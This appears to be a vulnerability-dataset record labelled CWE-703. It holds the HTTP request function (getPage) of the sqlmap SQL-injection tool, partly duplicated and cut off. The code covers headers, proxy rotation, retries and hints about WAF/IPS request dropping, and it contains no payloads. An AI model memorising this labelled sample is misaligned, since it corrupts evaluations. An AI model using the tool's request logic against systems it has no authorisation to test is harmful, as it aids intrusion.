                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""KeyError:"" in tbMsg:
                if ""content-length"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
                errMsg = ""websocket handshake status %s"" % status.group(1) if status else ""unknown""
                raise SqlmapConnectionException(errMsg)
            elif ""SqlmapCompressionException"" in tbMsg:
                warnMsg = ""problems with response (de)compression""
                retrying = True
            else:
                warnMsg = ""unable to connect to the target URL""

            if ""BadStatusLine"" not in tbMsg and any((conf.proxy, conf.tor)):
                warnMsg += "" or proxy""

            if silent:
                return None, None, None

            with kb.locks.connError:
                kb.connErrorCounter += 1

                if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.choices.connError is None:
                    message = ""there seems to be a continuous problem with connection to the target. ""
                    message += ""Are you sure that you want to continue? [y/N] ""

                    kb.choices.connError = readInput(message, default='N', boolean=True)

                if kb.choices.connError is False:
                    raise SqlmapSkipTargetException

            if ""forcibly closed"" in tbMsg:
                logger.critical(warnMsg)
                return None, None, None
            elif ignoreTimeout and any(_ in tbMsg for _ in (""timed out"", ""IncompleteRead"", ""Interrupted system call"")):
                return None if not conf.ignoreTimeouts else """", None, None
            elif threadData.retriesCount < conf.retries and not kb.threadException:
                warnMsg += "". sqlmap is going to retry the request""
                if not retrying:
                    warnMsg += ""(s)""
                    logger.critical(warnMsg)
                else:
                    logger.debug(warnMsg)
                return Connect._retryProxy(**kwargs)
            elif kb.testMode or kb.multiThreadMode:
                logger.critical(warnMsg)
                return None, None, None
            else:
                raise SqlmapConnectionException(warnMsg)

        finally:
            if isinstance(page, six.binary_type):
                if HTTP_HEADER.CONTENT_TYPE in (responseHeaders or {}) and not re.search(TEXT_CONTENT_TYPE_REGEX, responseHeaders[HTTP_HEADER.CONTENT_TYPE]):
                    page = six.text_type(page, errors=""ignore"")
                else:
                    page = getUnicode(page)

            for function in kb.postprocessFunctions:
                try:
                    page, responseHeaders, code = function(page, responseHeaders, code)
                except Exception as ex:
                    errMsg = ""error occurred while running postprocess ""
                    errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                    raise SqlmapGenericException(errMsg)

            for _ in (getattr(conn, ""redcode"", None), code):
                if _ is not None and _ in conf.abortCode:
                    errMsg = ""aborting due to detected HTTP code '%d'"" % _
                    singleTimeLogMessage(errMsg, logging.CRITICAL)
                    raise SystemExit

            threadData.lastPage = page
            threadData.lastCode = code

            socket.setdefaulttimeout(conf.timeout)

        # Dirty patch for Python3.11.0a7 (e.g. https://github.com/sqlmapproject/sqlmap/issues/5091)
        if not sys.version.startswith(""3.11.""):
            if conf.retryOn and re.search(conf.retryOn, page, re.I):
                if threadData.retriesCount < conf.retries:
                    warnMsg = ""forced retry of the request because of undesired page content""
                    logger.warning(warnMsg)
                    return Connect._retryProxy(**kwargs)

        processResponse(page, responseHeaders, code, status)

        if not skipLogTraffic:
            if conn and getattr(conn, ""redurl"", None):
                _ = _urllib.parse.urlsplit(conn.redurl)
                _ = (""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """"))
                requestMsg = re.sub(r""(\n[A-Z]+ ).+?( HTTP/\d)"", r""\g<1>%s\g<2>"" % getUnicode(_).replace(""\\"", ""\\\\""), requestMsg, 1)

                if kb.resendPostOnRedirect is False:
                    requestMsg = re.sub(r""(\[#\d+\]:\n)POST "", r""\g<1>GET "", requestMsg)
                    requestMsg = re.sub(r""(?i)Content-length: \d+\n"", """", requestMsg)
                    requestMsg = re.sub(r""(?s)\n\n.+"", ""\n"", requestMsg)

                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, conn.code, status)
            elif ""\n"" not in responseMsg:
                responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

        return page, responseHeaders, code",CWE-703,sqlmapproject/sqlmap,1740f6332e96fb85585e185d5c47aebbb78740c1,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

            if conf.proxyFreq:
                if kb.requestCounter % conf.proxyFreq == 0:
                    conf.proxy = None

                    warnMsg = ""changing proxy""
                    logger.warning(warnMsg)

                    setHTTPHandlers()

        if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))

            page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3)

            threadData.lastPage = page
            threadData.lastCode = code

            return page, headers, code

        if conf.liveCookies:
            with kb.locks.liveCookies:
                if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0:
                    warnMsg = ""[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)"" % (time.strftime(""%X""), conf.liveCookies, LIVE_COOKIES_TIMEOUT)
                    dataToStdout(warnMsg)

                    valid = False
                    for _ in xrange(LIVE_COOKIES_TIMEOUT):
                        if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0:
                            valid = True
                            break
                        else:
                            dataToStdout('.')
                            time.sleep(1)

                    dataToStdout(""\n"")

                    if not valid:
                        errMsg = ""problem occurred while loading cookies from file '%s'"" % conf.liveCookies
                        raise SqlmapValueException(errMsg)

                cookie = openFile(conf.liveCookies).read().strip()
                cookie = re.sub(r""(?i)\ACookie:\s*"", """", cookie)

        if multipart:
            post = multipart
        else:
            if not post:
                chunked = False

            elif chunked:
                post = _urllib.parse.unquote(post)
                post = chunkSplitPostData(post)

        webSocket = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL:
                    url = re.sub(r""(?i)\A(http|ws):"", r""\g<1>s:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            if kb.headersFile:
                content = openFile(kb.headersFile, ""rb"").read()
                for line in content.split(""\n""):
                    line = getText(line.strip())
                    if ':' in line:
                        header, value = line.split(':', 1)
                        headers[header] = value

            if conf.localhost:
                headers[HTTP_HEADER.HOST] = ""localhost""

            for key, value in list(headers.items()):
                if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper():
                    value = re.sub(r""(?i)(,)br(,)?"", lambda match: ',' if match.group(1) and match.group(2) else """", value) or ""identity""

                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            if webSocket:
                ws = websocket.WebSocket()
                ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))

                _page = []

                if kb.webSocketRecvCount is None:
                    while True:
                        try:
                            _page.append(ws.recv())
                        except websocket.WebSocketTimeoutException:
                            kb.webSocketRecvCount = len(_page)
                            break
                else:
                    for i in xrange(max(1, kb.webSocketRecvCount)):
                        _page.append(ws.recv())

                page = ""\n"".join(_page)

                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                post = getBytes(post)

                if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
                    if kb.place != HTTPMETHOD.POST:
                        conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
                    else:
                        post = urldecode(post, convall=True)
                        post = encodeBase64(post)

                if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    req = MethodRequest(url, post, headers)
                    req.set_method(cmdLineOptions.method or method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                for function in kb.preprocessFunctions:
                    try:
                        function(req)
                    except Exception as ex:
                        errMsg = ""error occurred while running preprocess ""
                        errMsg += ""function '%s' ('%s')"" % (function.__name__, getSafeExString(ex))
                        raise SqlmapGenericException(errMsg)
                    else:
                        post, headers = req.data, req.headers

                requestHeaders += ""\r\n"".join([""%s: %s"" % (u""-"".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, ""capitalize"") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    with conf.cj._cookies_lock:
                        cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION))

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.choices.redirect == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, ""geturl"") else url

                    if hasattr(conn, ""redurl""):
                        responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl

                    responseHeaders = patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if not refresh:
                    refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)

                    if refresh:
                        debugMsg = ""got Javascript redirect logic""
                        logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""got a refresh intent ""
                        msg += ""(redirect like response common to login pages) to '%s'. "" % refresh
                        msg += ""Do you want to apply it from now on? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warning(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % getSafeExString(ex)
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                responseHeaders = patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warning(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders and getattr(responseHeaders, ""headers"", None):
                logHeaders = """".join(getUnicode(responseHeaders.headers)).strip()

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_READ_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if code in conf.abortCode:
                errMsg = ""aborting due to detected HTTP code '%d'"" % code
                singleTimeLogMessage(errMsg, logging.CRITICAL)
                raise SystemExit

            if ex.code not in (conf.ignoreCode or []):
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d). "" % code
                    errMsg += ""If this is intended, try to rerun by providing ""
                    errMsg += ""a valid value for option '--ignore-code'""
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.REQUEST_URI_TOO_LONG:
                    warnMsg = ""request URI is marked as too long by the target. ""
                    warnMsg += ""you are advised to try a switch '--no-cast' and/or '--no-escape'""
                    singleTimeWarnMessage(warnMsg)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d ('%s')"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError, AttributeError, OSError, AssertionError, KeyError):
            tbMsg = traceback.format_exc()

            if conf.debug:
                dataToStdout(tbMsg)

            if checking:
                return None, None, None
            elif ""KeyError:"" in tbMsg:
                if ""content-length"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""AttributeError:"" in tbMsg:
                if ""WSAECONNREFUSED"" in tbMsg:
                    return None, None, None
                else:
                    raise
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif any(_ in tbMsg for _ in (""forcibly closed"", ""Connection is already closed"", ""ConnectionAbortedError"")):
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>\n]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
